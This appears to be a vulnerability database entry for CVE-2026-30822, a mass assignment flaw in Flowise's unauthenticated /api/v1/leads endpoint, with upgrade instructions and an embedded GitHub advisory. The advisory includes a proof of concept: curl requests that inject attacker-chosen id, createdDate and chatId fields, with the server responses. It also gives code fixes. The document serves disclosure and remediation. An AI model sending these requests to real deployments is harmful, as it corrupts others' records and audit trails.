CVE-2026-30822: Flowise Flowise Allows Mass Assignment Vulnerability
HIGHCVE-2026-30822 is a HIGH (CVSS 7.7) flowise allows mass assignment vulnerability (CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes) affecting Flowise libraries in the npm ecosystem. The issue involves flowise allows mass assignment in `/api/v1/leads` endpoint. Remediation is available by upgrading affected packages to version 3.0.13.
CVE-2026-30822 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2026-30822
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.0.13
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-30822, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.13), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes, where the product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-30822 Affected Flowise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.0.13
|
3.0.13
|
References
Frequently Asked Questions
What is CVE-2026-30822?
Which Flowise versions are affected?
What version fixes CVE-2026-30822?
Is flowise affected?
What is the CVSS score of CVE-2026-30822?
What CWE is associated with CVE-2026-30822?
How can I check npm dependencies for CVE-2026-30822?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mq4r-h2gh-qv7x",
"modified" : "2026-03-09T13:15:30Z",
"published" : "2026-03-06T22:19:14Z",
"aliases" : [ "CVE-2026-30822" ],
"summary" : "Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint",
"details" : "## Summary\n\n**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**\n\nThe endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.\n\n| Field | Value |\n|-------|-------|\n| **Vulnerability Type** | Mass Assignment |\n| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |\n| **Authentication Required** | None |\n| **Affected Endpoint** | `POST /api/v1/leads` |\n\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:\n\n```typescript\n// File: /packages/server/src/services/leads/index.ts\n// Lines 23-38\n\nconst createLead = async (body: Partial<ILead>) => {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!\n Object.assign(newLead, { chatId })\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\nThe `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:\n- `id` - The primary key (should be auto-generated)\n- `createdDate` - The creation timestamp (should be auto-generated)\n- `chatId` - The chat identifier\n\n### Lead Entity Definition\n\nThe Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:\n\n```typescript\n// File: /packages/server/src/database/entities/Lead.ts\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn('uuid') // Should be auto-generated!\n id: string\n\n @Column()\n name?: string\n\n @Column()\n email?: string\n\n @Column()\n phone?: string\n\n @Column()\n chatflowid: string\n\n @Column()\n chatId: string\n\n @CreateDateColumn() // Should be auto-generated!\n createdDate: Date\n}\n```\n\nHowever, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.\n\n### Why the Endpoint is Publicly Accessible\n\nThe `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:\n\n```typescript\n// File: /packages/server/src/utils/constants.ts\n// Line 20\n\nexport const WHITELIST_URLS = [\n // ... other endpoints ...\n '/api/v1/leads', // ← No authentication required\n // ... more endpoints ...\n]\n```\n\n---\n\n## Proof of Concept\n\n<img width=\"1585\" height=\"817\" alt=\"Screenshot 2025-12-26 at 2 28 00 PM\" src=\"https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5\" />\n\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- curl installed\n\n### Step 1: Start Flowise\n\nCreate a `docker-compose.yml`:\n\n```yaml\nservices:\n flowise:\n image: flowiseai/flowise:latest\n restart: unless-stopped\n environment:\n - PORT=3000\n - DATABASE_PATH=/root/.flowise\n - DATABASE_TYPE=sqlite\n - CORS_ORIGINS=*\n - DISABLE_FLOWISE_TELEMETRY=true\n ports:\n - '3000:3000'\n volumes:\n - flowise_data:/root/.flowise\n entrypoint: /bin/sh -c \"sleep 3; flowise start\"\n\nvolumes:\n flowise_data:\n```\n\nStart the container:\n\n```bash\ndocker compose up -d\n# Wait for Flowise to be ready (about 1-2 minutes)\ncurl http://localhost:3000/api/v1/ping\n```\n\n### Step 2: Baseline Test - Normal Lead Creation\n\nFirst, create a normal lead to see expected behavior:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"normal-chatflow-123\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\"\n }'\n```\n\n**Expected Response (normal behavior):**\n```json\n{\n \"id\": \"018b23e3-d6cb-4dc5-a276-922a174b44fd\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\",\n \"chatflowid\": \"normal-chatflow-123\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:39.000Z\"\n}\n```\n\nNote: The `id` and `createdDate` are auto-generated by the server.\n\n### Step 3: Exploit - Inject Custom ID\n\nNow inject a custom `id`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"attacker-chatflow-456\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\"\n }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"chatflowid\": \"attacker-chatflow-456\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:40.000Z\"\n}\n```\n\n**⚠️ The attacker-controlled `id` was accepted!**\n\n### Step 4: Exploit - Inject Custom Timestamp\n\nInject a fake `createdDate`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"timestamp-test-789\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"some-auto-generated-uuid\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"chatflowid\": \"timestamp-test-789\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n}\n```\n\n**⚠️ The attacker-controlled timestamp from 1970 was accepted!**\n\n### Step 5: Exploit - Combined Mass Assignment\n\nInject multiple fields at once:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\",\n \"chatId\": \"custom-chat-id-injected\"\n }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"chatId\": \"custom-chat-id-injected\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\"\n}\n```\n\n**⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**\n\n### Verification\n\nThe exploit succeeds because:\n1. ✅ HTTP 200 response (request accepted)\n2. ✅ `id` field contains attacker-controlled UUID\n3. ✅ `createdDate` field contains attacker-controlled timestamp\n4. ✅ `chatId` field contains attacker-controlled string\n5. ✅ No authentication headers were sent\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All Flowise deployments** that use the leads feature\n- Both **open-source** and **enterprise** versions\n- Any system that relies on lead data integrity\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |\n| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |\n| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |\n| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own |\n\n### Severity Assessment\n\nWhile this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:\n\n- Data integrity issues\n- Potential business logic bypasses\n- Audit/compliance concerns\n- Foundation for chained attacks\n\n---\n\n## Recommended Fix\n\n### Option 1: Whitelist Allowed Fields (Recommended)\n\nOnly copy explicitly allowed fields from the request body:\n\n```typescript\nconst createLead = async (body: Partial<ILead>) => {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n \n // ✅ Only copy allowed fields\n const allowedFields = ['chatflowid', 'name', 'email', 'phone']\n for (const field of allowedFields) {\n if (body[field] !== undefined) {\n newLead[field] = body[field]\n }\n }\n newLead.chatId = chatId\n // Let TypeORM auto-generate id and createdDate\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 2: Use Destructuring with Explicit Fields\n\n```typescript\nconst createLead = async (body: Partial<ILead>) => {\n try {\n // ✅ Only extract allowed fields\n const { chatflowid, name, email, phone } = body\n const chatId = body.chatId ?? uuidv4()\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create({\n chatflowid,\n name,\n email,\n phone,\n chatId\n // id and createdDate will be auto-generated\n })\n \n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 3: Use class-transformer with @Exclude()\n\nAdd decorators to the Lead entity to exclude sensitive fields from assignment:\n\n```typescript\nimport { Exclude } from 'class-transformer'\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn('uuid')\n @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request\n id: string\n\n // ... other fields ...\n\n @CreateDateColumn()\n @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request\n createdDate: Date\n}\n```\n\n### Additional Recommendation\n\nConsider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:\n- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)\n\n---\n\n## Resources\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.13"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.0.12"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30822"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-915" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-06T22:19:14Z",
"nvd_published_at" : "2026-03-07T05:16:27Z"
}
}